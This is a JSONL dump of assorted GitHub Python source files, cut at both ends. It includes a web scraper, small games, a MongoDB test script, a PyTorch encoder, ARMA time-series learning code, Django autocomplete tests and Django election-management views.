names.append(name)\n\n#     return names\n        \n# def get_products(driver,element,rest):\n#     menues_list = driver.find_elements(By.CLASS_NAME,\"vendor-menu__section\")\n#     index = 0\n#     for key,i in element.items():\n#         titles = menues_list[index].find_elements(By.CLASS_NAME,\"menu-product__title\")\n#         element[key] = dict.fromkeys(list(map(lambda x: x.text,titles)))\n#         get_products_info(driver, element[key], menues_list[index],rest, key)\n#         index+=1\n\n# def get_products_info(driver,name, menu_list,rest, cat):\n#     item = menu_list.find_elements(By.CLASS_NAME,\"menu-product__info-item\")\n#     items = list(map(lambda x: x.text, item))   \n#     descriptions = menu_list.find_elements(By.CLASS_NAME,\"menu-product__description\")\n#     srs_list = get_img(menu_list, driver, rest, cat)\n#     desc=[]\n#     try:\n#         for index,i in enumerate(item):\n#             ActionChains(driver).move_to_element(i).perform()\n#             print(descriptions[index].get_attribute('textContent'))\n#             desc.append(descriptions[index].get_attribute('textContent'))\n#     except:\n#         desc.append('')\n#     print(desc)\n#     prices = menu_list.find_elements(By.CLASS_NAME,\"menu-product__price\")\n#     prices = list(map(lambda x: x.text, prices))\n#     index = 0\n#     for key,i in name.items():\n#         name[key] = {'item': items[index],\n#                     'price': prices[index],\n#                     'description': desc[index+1],\n#                     'rep_img': srs_list[index]\n#                     }\n#         index+=1\n\n\n# def get_categories(rests,driver):\n#     for key,i in rests.items():\n#         driver.get(rests[key]['link'])\n#         time.sleep(3)\n#         try:\n#             # if len(list(driver.find_element(By.CLASS_NAME,\"popup__overlay\"))) == 0:\n#             #     btn = driver.find_element(By.CLASS_NAME,\"icon__svg\")\n#             #     btn.click()\n#             btn = driver.find_element(By.CLASS_NAME,\"popup__close-button\")\n#             btn.click()\n#         except:\n#             cats_elem = driver.find_elements(By.CLASS_NAME,\"vendor-categories__item\")\n#             cats = dict.fromkeys(list(map(lambda x: x.text, cats_elem)))\n#             get_products(driver, cats, key)\n#             rests[key]['cats'] = cats\n            \n\n\n    # def get_product(id1):\n    #     a = db.select([Order.columns.id])\n    #     list_id = []\n    #     for i in connection.execute(a).fetchall():\n    #         list_id.append(i[0])\n    #     if str(id1) in list_id:\n    #         b = db.select([Order.columns.link]).where(Order.columns.id == id1)\n    #     c = db.select([Delivery.columns.info])\n    #     prdct = c[str(b)]\n    #     ResultProxy = connection.execute(query)\n\n    # def get_aim(id1):\n    #     str_id = ''\n    #     a = db.select([Friends.columns.Aim]).where(\n    #         Friends.columns.id == id1)\n    #     for row in connection.execute(a).fetchall():\n    #         str_id = row[0]\n    #     return str_id\n\n    # def get_feedback(id1):\n    #     a = db.select(Friends.columns.feedback).where(Friends.columns.id == id1)\n    #     list_feedback = []\n    #     for row in connection.execute(a).fetchall():\n    #         list_feedback = row[0].split('&')\n    #     return list_feedback\n","repo_name":"SMF321/bot_cloud_com","sub_path":"utils/db_api/DB_functions.py","file_name":"DB_functions.py","file_ext":"py","file_size_in_byte":21328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22926690502","text":"from turtle import Turtle\n\nALIGN=\"center\"\nFONT=('Arial', 20, 'normal')\nFONT2=('Arial', 16, 'normal')\n\nclass Scoreboard(Turtle):\n    def __init__(self):\n        super().__init__()\n        self.reset()\n\n    def increase(self):\n        self.score+=1\n        self.mywrite()\n    \n    def game_over(self):\n        if self.score > self.highscore:\n            self.highscore=self.score\n            write_highschore(self.highscore)\n        self.mywrite()\n        self.color([1,0.2,0.1])\n        self.goto(0,0)\n        self.write(f\"GAME OVER\",align=ALIGN,font=FONT)\n        self.goto(0,-30)\n        self.write(f\"Press R to restart. Click on the screen to exit.\",align=ALIGN,font=FONT2)\n\n    def reset(self):\n        self.score=0\n        self.highscore=read_highschore()\n        self.hideturtle()\n        self.penup()\n        self.color(\"white\")\n        self.sety(275)\n        self.mywrite()\n\n    def mywrite(self):\n        self.clear()\n        self.write(f\"Score: {self.score}   |   Highscore: {self.highscore}\",align=ALIGN,font=FONT)\n\ndef read_highschore():\n    with open(\"/Users/dmar0022/university/udemy/100_Days_of_Code/final_projects/files/d20.21_snake_game/highscore\",\"r\") as file:\n        hs=int(file.read())\n    return hs\n\ndef write_highschore(hs):\n    with open(\"/Users/dmar0022/university/udemy/100_Days_of_Code/final_projects/files/d20.21_snake_game/highscore\",\"w\") as file:\n        file.write(str(hs))","repo_name":"atteggiani/100_Days_of_Code","sub_path":"final_projects/files/d20.21_snake_game/scoreboard.py","file_name":"scoreboard.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2396274255","text":"from pymongo import MongoClient\n\nclient = MongoClient('mongodb://localhost:27017/')\n\ndb = client['banco_teste']\n\ncolecao = db['mongo_flask']\n\n# Adicionar registros\n\ndados = [\n    {'nome': 'João', 'idade': 25, 'cidade': 'São Paulo'},\n    {'nome': 'Maria', 'idade': 30, 'cidade': 'Rio de Janeiro'},\n    {'nome': 'Pedro', 'idade': 28, 'cidade': 'Belo Horizonte'}\n]\n\nresultado = colecao.insert_many(dados)\n\n# print('Foram inseridos', resultado.inserted_ids, 'documentos')\n\n# Fazer update de registro\n\nfiltro = {'idade': 30}\n\nupdate = {'$set': {'nome': 'Maria Josefina'}}\n\nresult = colecao.update_many(filtro, update)\n\nprint('Número de documentos atualizados:', result.modified_count)\n\n# Fazer delete de um registro\n\nfiltro2 = {'nome': 'Maria Josefina'}\n\nresultDelete = colecao.delete_many(filtro2)\n\nprint(resultDelete.deleted_count)\n\n# Listar as coleções\n\ncoleecoess = db.list_collection_names()\n\nprint(coleecoess)\n","repo_name":"jaomends/hoteis_flask","sub_path":"testeMongoPy/homolog/testeBD.py","file_name":"testeBD.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"10288212309","text":"## 2. Systems of equations as matrices ##\n\nimport numpy as np\n\n# Set the dtype to float to do float math with the numbers.\nmatrix = np.asarray([\n    [2, 1, 25],\n    [3, 2, 40]  \n], dtype=np.float32)\n\nmatrix[0] *= 2\n\n# Subtract the second row from the first row.\nmatrix[0] -= matrix[1]\n\n# Subtract three times the first row from the second row.\nmatrix[1] -= (3 * matrix[0])\n\n# Divide the second row by two.\nmatrix[1] /= 2\n\n## 4. Solving more complex equations ##\n\nimport numpy as np\n\nmatrix = np.asarray([\n    [1, 2, 0, 7],\n    [0, 3, 3, 11],\n    [1, 2, 2, 11]\n], dtype=np.float32)\n\nmatrix[2] -= matrix[0]\n\n# Divide the third row by 2.\nmatrix[2] /= 2\n\n# Subtract three times the third row from the second row\nmatrix[1] -= (matrix[2] * 3)\n\n# Divide the second row by three\nmatrix[1] /= 3\n\n# Subtract two times the second row from the first row\nmatrix[0] -= (2 * matrix[1])\n\n## 5. Echelon form ##\n\nmatrix = np.asarray([\n    [0, 0, 0, 7],\n    [0, 0, 1, 11],\n    [1, 2, 2, 11],\n    [0, 5, 5, 1]\n], dtype=np.float32)\n\nmatrix[[0,2]]=matrix[[2,0]]\nmatrix[[2,3]]=matrix[[3,2]]\n\nmatrix[[1,2]] = matrix[[2,1]]\n","repo_name":"Arshad-Ahmed/DataSciencePortfolio","sub_path":"Dataquest/linear-algebra/Solving systems of equations with matrices-55.py","file_name":"Solving systems of equations with matrices-55.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"5988704607","text":"import torch\nimport torch.nn as nn\nfrom normalization.GDN import GDN\n\n\nclass FeatureEncoder(nn.Module):\n    def __init__(self, input_dim, tcn):\n        super(FeatureEncoder, self).__init__()\n        self.input_dim = input_dim\n        self.tcn = tcn\n        device = torch.device('cuda')\n\n        # (C, H, W) -> (256, H/2, W/2)\n        self.conv_block1 = nn.Sequential(\n            nn.Conv2d(input_dim, 256, kernel_size=(5, 5), stride=2, padding=(5 - 2) // 2+1),\n            # GDN(256, device, False),\n            nn.PReLU()\n        )\n        # (256, H/2, W/2) -> (256, H/4, W/4)\n        self.conv_block2 = nn.Sequential(\n            nn.Conv2d(256, 256, kernel_size=(3, 3), stride=2, padding=(3 - 2) // 2+1),\n            # GDN(256, device, False),\n            nn.PReLU()\n        )\n        # (256, H/4, W/4) -> (256, H/4, W/4)\n        self.conv_block3 = nn.Sequential(\n            nn.Conv2d(256, 256, kernel_size=(3, 3), stride=1, padding=(3 - 1) // 2),\n            # GDN(256, device, False),\n            nn.PReLU()\n        )\n        # (256, H/4, W/4) -> (tcn, H/4, W/4)\n        self.conv_block4 = nn.Sequential(\n            nn.Conv2d(256, tcn, kernel_size=(3, 3), stride=1, padding=(3 - 1) // 2),\n            # GDN(tcn, device, False),\n        )\n\n    def forward(self, x):\n        H = int(x.shape[2] / 4)\n        W = int(x.shape[3] / 4)\n        x = self.conv_block1(x)\n        x = self.conv_block2(x)\n        x = self.conv_block3(x)\n        x = self.conv_block4(x)\n        out = x.reshape(-1, self.tcn * H * W)\n        return out, H, W","repo_name":"intBear/demo","sub_path":"ChannelCoder/ChannelEncoder.py","file_name":"ChannelEncoder.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15385966674","text":"from planet import Planet\nimport random\nfrom unit import Colony, ShipYard\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MultipleLocator\n\n\nclass Board:\n    def __init__(self, game, size):\n        self.grid = {}\n        self.size = size\n        self.center = [(x-1)/2 for x in size]\n        self.game = game\n        self.planets = []\n\n    # Create a dictionary of all the positions with multiple units on them\n    def create(self):\n        grid = {}\n        units = [\n            unit for player in self.game.players for unit in player.get_units() if unit.alive]\n        for unit in units:\n            if unit.pos in grid.keys():\n                grid[unit.pos].append(unit)\n            else:\n                grid[unit.pos] = [unit]\n        self.grid = grid\n\n    # Check if a position is within the grid\n    def is_in_bounds(self, x, y):\n        x1, y1 = self.size\n        return (x >= 0 and x < x1) and (y >= 0 and y < y1)\n\n    # Create 8 additional randomly placed planets in addition to defaults\n    # Unless game is in simple mode, just create home colonies\n    def init_planets(self, *planets):\n        if self.state[\"game_level\"] > 3:\n            planets = list(planets)\n            while len(planets) < 8:\n                planet = random.randint(\n                    0, self.size[0]-1), random.randint(0, self.size[1]-1)\n                if planet not in planets:\n                    planets.append(planet)\n        self.planets = [Planet(p) for p in planets]\n\n    # Return list of grid positions and unit lists\n    def items(self):\n        return self.grid.items()\n\n    # Return if the pos is on an unoccupied planet\n    def on_unoccupied_planet(self, pos):\n        on_planet = pos in [p.pos for p in self.planets]\n        unoccupied = Colony not in [type(unit) for unit in self[pos]]\n        return on_planet and unoccupied\n\n    # Return if the given position contains a certain type of ship\n    def contains(self, pos, t):\n        return self.game.unit_str_to_class(t) in [type(u) for u in self[pos]]\n\n    def get_shipyard_capacity(self, pos):\n        return len([x for x in self[pos] if type(x) == ShipYard])\n\n\n    def __getitem__(self, pos):\n        if pos in self.grid:\n            return self.grid[pos]\n        else:\n            return []\n","repo_name":"eoriont/space-empires","sub_path":"deprecated/src/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4526598142","text":"import os\nimport sys\nimport logging\nimport random\nimport simpy\nfrom time import time\nfrom argparse import ArgumentParser\n\nfrom codebase import Codebase\nfrom team import Manager\n\nif __name__ == '__main__':\n    arg_parser = ArgumentParser(description='Run the simulation')\n    arg_parser.add_argument('-o', dest='output_dir', type=str, default='output', help='output directory')\n    arg_parser.add_argument('time', metavar='N', type=int, help='simulation time')\n    arg_parser.add_argument('-s', dest='save_source', action='store_true',\n                            help='whether to save the Java source code')\n    options = arg_parser.parse_args(sys.argv[1:])\n    if os.path.exists(options.output_dir):\n        for root, dirs, files in os.walk(options.output_dir):\n            for name in files:\n                os.remove(os.path.join(root, name))\n    else:\n        os.makedirs(options.output_dir)\n    if options.save_source:\n        os.makedirs(os.path.join(options.output_dir, 'src'), exist_ok=True)\n    random_seed = round(time())\n    print('Using seed', random_seed)\n    random.seed(random_seed)\n    # logging.basicConfig(level=logging.INFO)\n    env = simpy.Environment()\n    codebase = Codebase()\n    m = Manager(env, codebase)\n    env.run(until=options.time)\n    print('Number of developers: ', len(m.developers))\n    codebase.save(options.output_dir, options.save_source)","repo_name":"linzhp/Codevo3","sub_path":"codevo/simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"13164470516","text":"from __future__ import unicode_literals\n\nfrom django.contrib.auth.models import User\nfrom django.utils.encoding import force_text\n\nfrom .case import *\n\n\nclass AutocompleteModelMock(autocomplete_light.AutocompleteModelBase):\n    limit_choices = 2\n    choices = User.objects.all()\n    search_fields = ('username', 'email')\n\n\nclass FormMock(forms.Form):\n    x = forms.ModelChoiceField(queryset=AutocompleteModelMock.choices,\n        widget=autocomplete_light.ChoiceWidget(\n            autocomplete=AutocompleteModelMock))\n\n\nclass MultipleFormMock(forms.Form):\n    x = forms.ModelMultipleChoiceField(queryset=AutocompleteModelMock.choices,\n        widget=autocomplete_light.MultipleChoiceWidget(\n            autocomplete=AutocompleteModelMock))\n\n\nclass AutocompleteModelTestCase(AutocompleteTestCase):\n    autocomplete_mock = AutocompleteModelMock\n\n    def assert_choices_equal(self, result, test):\n        self.assertEqual([x.pk for x in result],\n                         [x.pk for x in test['expected']])\n\n    def get_choices_for_values_tests(self):\n        return (\n            {\n                'fixture': [1, 4],\n                'expected': [\n                    self.abe,\n                    self.john,\n                ]\n            },\n        )\n\n    def get_choices_for_request_tests(self):\n        return (\n            {\n                'fixture': make_get_request('q=j'),\n                'kwargs': {\n                    'limit_choices': 5,\n                },\n                'expected': [\n                    self.jack,\n                    self.james,\n                    self.john,\n                ]\n            },\n            {\n                'fixture': make_get_request('q=j'),\n                'kwargs': {\n                    'order_by': '-username',\n                    'limit_choices': 5,\n                },\n                'expected': [\n                    self.john,\n                    self.james,\n                    self.jack,\n                ]\n            },\n            {\n                'fixture': make_get_request('q=j'),\n                'kwargs': {\n                    'order_by': ('-email', 'username'),\n                    'limit_choices': 5,\n                },\n                'expected': [\n                    self.james,\n                    self.john,\n                    self.jack,\n                ]\n            },\n            {\n                'fixture': make_get_request('q=sale'),\n                'expected': [\n                    self.abe,\n                    self.james,\n                ]\n            },\n            {\n                'fixture': make_get_request(),\n                'expected': [\n                    self.abe,\n                    self.jack,\n                ]\n            },\n        )\n\n    def get_validate_tests(self):\n        return (\n            {\n                'fixture': [1, 4],\n                'expected': True,\n            },\n            {\n                'fixture': [1, 4, 123],\n                'expected': False,\n            },\n        )\n\n    def get_autocomplete_html_tests(self):\n        return (\n            {\n                'fixture': make_get_request('q=j'),\n                'expected': u''.join([\n                    '<span data-value=\"%s\">%s</span>' % (\n                        self.jack.pk, force_text(self.jack)),\n                    '<span data-value=\"%s\">%s</span>' % (\n                        self.james.pk, force_text(self.james)),\n                ])\n            },\n            {\n                'fixture': make_get_request(),\n                'expected': u''.join([\n                    '<span data-value=\"%s\">%s</span>' % (\n                        self.abe.pk, force_text(self.abe)),\n                    '<span data-value=\"%s\">%s</span>' % (\n                        self.jack.pk, force_text(self.jack)),\n                ])\n            },\n        )\n\n    def get_widget_tests(self):\n        return (\n            {\n                'form_class': FormMock,\n                'fixture': 'x=4',\n                'expected_valid': True,\n                'expected_data': self.john,\n            },\n            {\n                'form_class': FormMock,\n                'fixture': 'x=3&x=4',\n                'expected_valid': True,\n                'expected_data': self.john,\n            },\n            {\n                'fixture': 'x=abc',\n                'expected_valid': False,\n            },\n            {\n                'form_class': MultipleFormMock,\n                'fixture': 'x=4&x=2',\n                'expected_valid': True,\n                'expected_data': [self.jack, self.john],\n            },\n            {\n                'fixture': 'x=abc&x=2',\n                'expected_valid': False,\n            },\n        )\n","repo_name":"meletakis/collato","sub_path":"lib/python2.7/site-packages/autocomplete_light/tests/autocomplete/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4685,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"33699362927","text":"import numpy as np\nimport statsmodels.api as sm\nfrom statsmodels.tsa.ar_model import AR\nimport matplotlib.pyplot as plt\nimport datetime\n#import pandas_datareader.data as web\nfrom scipy import signal, linalg\n\nfrom numpy.linalg import inv\nfrom scipy.optimize import fmin_bfgs\nimport pandas as pd\nimport time\n\n\ndef gen_dataset1(n_samples=10000):\n    alpha = np.array([0.6, -0.5, 0.4, -0.2, 0.3])\n    beta = np.array([0.3, -0.2])\n    a = 5\n    b = 2\n    sigma = 0.3\n\n    noises = [0] * b\n    arma = [0] * a\n    for i in range(n_samples):\n        noise = np.random.normal(0, sigma)\n        x = np.sum(arma[:-a - 1:-1] * alpha)\n        x += np.sum(noises[:-b - 1:-1] * beta)\n        x += noise\n        arma.append(x)\n        noises.append(noise)\n    arma = np.array(arma[a:])\n    return arma\n\n\ndef gen_dataset2(n_samples):\n    # alpha1 = np.array([-0.4, -0.5, 0.4, 0.4, 0.1])\n    alpha1 = np.array([0.4, 0.5, -0.4, -0.4, -0.1])\n    alpha2 = np.array([0.6, -0.4, 0.4, -0.5, 0.4])\n    beta = np.array([0.32, -0.2])\n    a = 5\n    b = 2\n\n    noises = [0] * b\n    arma = [0] * a\n    for i in range(n_samples):\n        noise = np.random.uniform(-0.5, 0.5)\n        alpha = alpha1 * (i / float(n_samples)) + alpha2 * (1 - i / float(n_samples))\n        x = np.sum(arma[:-a - 1:-1] * alpha)\n        x += np.sum(noises[:-b - 1:-1] * beta)\n        x += noise\n        arma.append(x)\n        noises.append(noise)\n    return np.array(arma[a:])\n\n\ndef gen_dataset3(n_samples=10000):\n    n = int(n_samples / 2)\n    # alpha1 = np.array([0.6, -0.5, 0.4, -0.4, 0.3])\n    alpha1 = np.array([0.4, 0.5, -0.4, -0.3, -0.1])\n    beta1 = np.array([0.3, -0.2])\n    alpha2 = np.array([-0.4, -0.5, 0.4, 0.4, 0.1])\n    beta2 = np.array([-0.3, 0.2])\n\n    a = 5\n    b = 2\n    noises1 = [0] * b\n    arma1 = [0] * a\n    for i in range(n):\n        noise = np.random.uniform(-0.5, 0.5)\n        x = np.sum(arma1[:-a - 1:-1] * alpha1)\n        x += np.sum(noises1[:-b - 1:-1] * beta1)\n        x += noise\n        arma1.append(x)\n        noises1.append(noise)\n\n    noises2 = [0] * b\n    arma2 = [0] * a\n    for i in range(n):\n        noise = np.random.uniform(-0.5, 0.5)\n        x = np.sum(arma2[:-a - 1:-1] * alpha2)\n        x += np.sum(noises2[:-b - 1:-1] * beta2)\n        x += noise\n        arma2.append(x)\n        noises2.append(noise)\n\n    arma = arma1[a:] + arma2[a:]\n    return np.array(arma)\n\n\ndef gen_dataset4(n_samples=10000):\n    alpha = np.array([0.11, -0.5])\n    beta = np.array([0.41, -0.39, -0.685, 0.1])\n    a = 2\n    b = 4\n    sigma = 0.3\n\n    noise = 0\n    noises = [0] * b\n    arma = [0] * a\n    for i in range(n_samples):\n        noise = np.random.normal(noise, sigma)\n        x = np.sum(arma[:-a - 1:-1] * alpha)\n        x += np.sum(noises[:-b - 1:-1] * beta)\n        x += noise\n        arma.append(x)\n        noises.append(noise)\n    arma = np.array(arma[a:])\n    return arma\n\n\ndef gen_temperature(n_samples=10000):\n    t = sm.datasets.elnino.load()\n    temps = []\n    for year in t.data.tolist():\n        temps.extend(year[1:])\n    data = np.array(temps[0:n_samples])\n    data = (data - np.mean(data)) / (np.max(data) - np.min(data))\n    return data\n\n\ndef gen_stock(n_samples=10000):\n    start = datetime.datetime(2000, 1, 1)\n    end = datetime.datetime(2014, 1, 1)\n    f = web.DataReader('^GSPC', 'yahoo', start, end)\n    data = f['Close'].tolist()\n    data = np.array(data)\n    data = (data - np.mean(data)) / (np.max(data) - np.min(data))\n    return data\n\n\ndef gen_dataset5(n_samples):\n    alpha1 = np.array([-0.4, -0.5, 0.4, 0.4, 0.1])\n    alpha2 = np.array([0.6, -0.4, 0.4, -0.5, 0.4])\n    beta = np.array([0.32, -0.2])\n    sigma = 0.3\n    a = 5\n    b = 2\n\n    noises = [0] * b\n    arma = [0] * a\n    for i in range(n_samples):\n        noise = np.random.normal(-0.5, sigma)\n        if i > n_samples / 2:\n            alpha = alpha1\n        else:\n            alpha = alpha2\n        x = np.sum(arma[:-a - 1:-1] * alpha)\n        x += np.sum(noises[:-b - 1:-1] * beta)\n        x += noise\n        arma.append(x)\n        noises.append(noise)\n    return np.array(arma[a:])\n\n\ndef gen_dataset6(n_samples):\n    alpha1 = np.array([-0.4, -0.5, 0.4, 0.4, 0.1])\n    alpha2 = np.array([5, -0.5, 0.4, 0.4, 0.1])\n    beta = np.array([0.32, -0.2])\n    sigma = 0.3\n    a = 5\n    b = 2\n\n    noises = [0] * b\n    arma = [0] * a\n    for i in range(n_samples):\n        noise = np.random.normal(-0.5, sigma)\n        if i == n_samples / 2:\n            alpha = alpha2\n        else:\n            alpha = alpha1\n        x = np.sum(arma[:-a - 1:-1] * alpha)\n        x += np.sum(noises[:-b - 1:-1] * beta)\n        x += noise\n        arma.append(x)\n        noises.append(noise)\n    return np.array(arma[a:])\n\n\ndef simulate(datagen, N, arma, n, m, k, q, projection=True):\n    # n : number of simulations\n    # N : length of the simulations\n    # arma : expected a function such as : arma_ons, amra_ogd...\n    #############\n\n    list_sim_loss = []\n    list_sim_nabla = []\n    list_sim_L = []\n\n    for i in range(n):\n        # simulate data\n        X = datagen(N)\n        # get historical parameter and loss\n\n        X_p, loss_hist, nabla_hist, L_hist = arma(X, m, k, q, projection)\n\n        list_sim_loss.append(loss_hist)\n        list_sim_nabla.append(nabla_hist)\n        list_sim_L.append(L_hist)\n\n    return np.array(list_sim_loss), np.array(list_sim_nabla), np.array(list_sim_L)\n\n\ndef arma_ons(X, m, k, q, projection=True):\n    \"\"\"\n    arma online newton step\n    ici on prend c = 1 (majore les gamma en valeur absolue)  这里我们取c = 1,增加gamma的绝对值\n    \"\"\"\n    # D    : Diamètre de l'espace des paramètres (参数的空间直径)\n    # G    : Majorant de ||gradient(loss)||   ()\n    # Square Loss -> lambda-exp-concave avec lambda = 1 / (m + k)\n    # rate : Eta\n    # A    : Proxy de la hessienne\n    ##############################\n    c = 1\n    Xmax = 10\n    D = 2 * c * np.sqrt((m + k))    # 决策集的直径\n    G = 2 * c * np.sqrt(m + k) * Xmax ** 2  # G表示的是损失函数的上界\n    lambda_ = 1.0 / (m + k)  # 当考虑平方损失函数的时候使用的\n\n    rate = 0.5 * min(4 * G * D, lambda_)\n\n    epsilon = 1.0 / (rate ** 2 * D ** 2)\n\n    A = np.matrix(np.diag([1] * (m + k)) * epsilon)\n\n    L = np.matrix(np.random.uniform(-c, c, (m + k, 1)))\n\n    T = X.shape[0]\n\n    X_p = np.zeros(T)\n\n    loss_hist = np.zeros(T)\n    nabla_norm_hist = np.zeros(T)    # nabla是一个微分算子 相当于那个倒三角符号\n    L_hist = np.zeros(T)\n\n    for t in range(T):\n        # ----- Predict ----\n        # ------------------\n        X_t = 0\n        for i in range(m + k):\n            if t - i - 1 < 0:\n                break\n            X_t += L[i] * X[t - i - 1]\n        X_p[t] = X_t\n\n        # ----- Loss -------\n        # ------------------\n        loss_hist[t] = 0.5 * (X[t] - X_t) ** 2\n\n        # ----- Update -----\n        # ------------------\n        nabla = np.zeros((m + k, 1))\n        for i in range(m + k):\n            x = X[t - i - 1] if t - i - 1 >= 0 else 0\n            nabla[i, 0] = -2 * (X[t] - X_t) * x\n\n        nabla_norm_hist[t] = np.linalg.norm(nabla, 2)  # 求二阶范数\n\n        hess = np.dot(nabla, nabla.T)\n        A = A + hess\n        L = L - 1 / rate * np.dot(inv(A), nabla)\n        if projection:\n            L_norm = max(L.max(), -L.min())\n            if L_norm > c:\n                L /= L_norm\n                L *= c\n\n        L_hist[t] = L.max()\n\n        # Sherman–Morrison formula for inverting A :\n        # lambda_ = (1 / (1.0 + np.dot(np.dot(nabla.T, A_inv), nabla)[0,0]))\n        # A_inv = A_inv - lambda_ * np.dot(A_inv, hess, A_inv)\n\n    return X_p, loss_hist, nabla_norm_hist, L_hist","repo_name":"ReusTylor/ARMA-learning","sub_path":"PythonProject/online-ARMA-master/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2455968046","text":"from django.http import HttpResponseRedirect\nfrom django.shortcuts import redirect, render\nfrom django.urls import reverse_lazy  # , reverse\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.views.generic.list import ListView\nfrom django.views.generic.detail import DetailView\nfrom django.views.generic.edit import CreateView, UpdateView\nfrom .forms import EleccionForm, EleccionUpdateForm\nfrom .models import Eleccion, Padron, Mesa, Candidato\nfrom .utils import (claves_faltantes, parciales_faltantes,\n                    gen_padron_mesa,\n                    get_disponibles,\n                    get_elector_exclude_padron,\n                    admi_elector2padron,\n                    staff_list,\n                    agregar_candidato, set_estado_postulacion)\nfrom ..utils import (get_queryset_by_state,\n                     group_required,\n                     set_active,\n                     set_active_field)\n\n\n# Create your views here.\n# ____________________________________________\n# _Eleccion\n# _Padron\n# _Mesa\n# _Candidato\n# ____________________________________________\n\ndecorators = [login_required(login_url='gest_usuario:login'), group_required('staff',)]\n# decorators = [login_required(login_url='gest_usuario:login'), ]\n\n\n# ____________________________________________\n# _Eleccion\n@ method_decorator(decorators, name='dispatch')\nclass EleccionCreateView(CreateView):\n    model = Eleccion\n    form_class = EleccionForm\n    template_name = 'gest_preparacion/create_select.html'\n    success_url = reverse_lazy('bienvenida:bienvenida')\n\n    def get_form_kwargs(self):\n        kwargs = super(EleccionCreateView, self).get_form_kwargs()\n        kwargs.update({'user': self.request.user.id})\n        return kwargs\n\n    def post(self, request, *args, **kwargs):\n        form = EleccionForm(request.POST)\n        if form.is_valid():\n            eleccion = form.save()\n            return HttpResponseRedirect(gen_padron_mesa(eleccion).get_absolute_url())\n        self.object = None\n        context = self.get_context_data(**kwargs)\n        context['form'] = form\n        return render(request, self.template_name, context)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['submit_button'] = 'Registrar'\n        context['agregar_url'] = 'gest_cargo:agregar'\n        context['cancel_url'] = 'gest_preparacion:listado'\n        context['card_title'] = 'Agregar una Eleccion'\n        return context\n\n\n@ method_decorator(decorators, name='dispatch')\nclass EleccionUpdateView(UpdateView):\n    model = Eleccion\n    form_class = EleccionUpdateForm\n    template_name = 'utils/create.html'\n    # success_url = reverse_lazy('gest_cargo:listado')\n\n    def dispatch(self, request, *args, **kwargs):\n        self.object = self.get_object()\n        if self.object.etapa == 0:\n            return super().dispatch(request, *args, **kwargs)\n        else:\n            return redirect('bienvenida:bienvenida')\n        return super().dispatch(request, *args, **kwargs)\n\n    def get_success_url(self):\n        return self.object.get_absolute_url()\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['card_title'] = \"Editar datos de la elección\"\n        context['cancel_url'] = 'gest_preparacion:listado'\n        context['submit_button'] = 'Actualizar'\n        return context\n\n\n@ method_decorator(decorators, name='dispatch')\nclass EleccionListView(ListView):\n    model = Eleccion\n    template_name = 'gest_preparacion/eleccion_list.html'\n\n    def dispatch(self, request, *args, **kwargs):\n        return super().dispatch(request, *args, **kwargs)\n\n    def get_queryset(self):\n        if 'estado' in self.request.GET:\n            return get_queryset_by_state(self.model, self.request.GET['estado'])\n        return self.model.objects.all()\n\n    def post(self, request, *args, **kwargs):\n        try:\n            set_active(self.model,\n                       request.POST['object_id'],\n                       'True' == request.POST['active'])\n        except KeyError:\n            print('Where is my flag?')\n        return redirect(request.META['HTTP_REFERER'])\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['title'] = 'Listado de Eleccion'\n        context['page_title_heading'] = 'Eleccion'\n        context['message_no_queryset'] = 'No hay elecciones registradas'\n        context['thead_values'] = ['Titulo',\n                                   'Fecha de realización',\n                                   'Horarios de Inicio-Fin',\n                                   'Etapa', ]\n        context['url_listado'] = 'gest_preparacion:listado'\n        context['url_agregar'] = 'gest_preparacion:agregar'\n        context['url_detalle'] = 'gest_preparacion:detalle'\n        context['url_actualizar'] = 'gest_preparacion:actualizar'\n        context['snippet_accion_table'] = 'gest_preparacion/snippets/snippet_accion_table.html'\n        if 'estado' in self.request.GET:\n            context['estado'] = self.request.GET['estado']\n        context['text_badge_dark'] = 'Listado de elecciones'\n        return context\n\n\n@method_decorator(decorators, name='dispatch')\nclass EleccionDetailView(DetailView):\n    model = Eleccion\n    template_name = 'gest_preparacion/eleccion_detail.html'\n\n    def dispatch(self, request, *args, **kwargs):\n        self.object = self.get_object()\n        if self.object.etapa==1:\n            # Eleccion programada\n            self.sin_clave = claves_faltantes(self.object.get_claves_candidatos(), self.object.candidatos())\n        elif self.object.etapa==2:\n            self.mesa_habil = self.object.mesa_habil()\n        elif self.object.etapa==5:\n            # Eleccion esta en etapa de conteo de votos\n            self.sin_clave = parciales_faltantes(self.object.get_parciales_cifrados(), self.object.candidatos())\n        return super().dispatch(request, *args, **kwargs)\n\n    def post(self, request, *args, **kwargs):\n        try:\n            set_active_field(self.object, 'True' == request.POST['active'])\n        except KeyError:\n            print('Where is my flag?')\n        return redirect(request.META['HTTP_REFERER'])\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['url_listado'] = 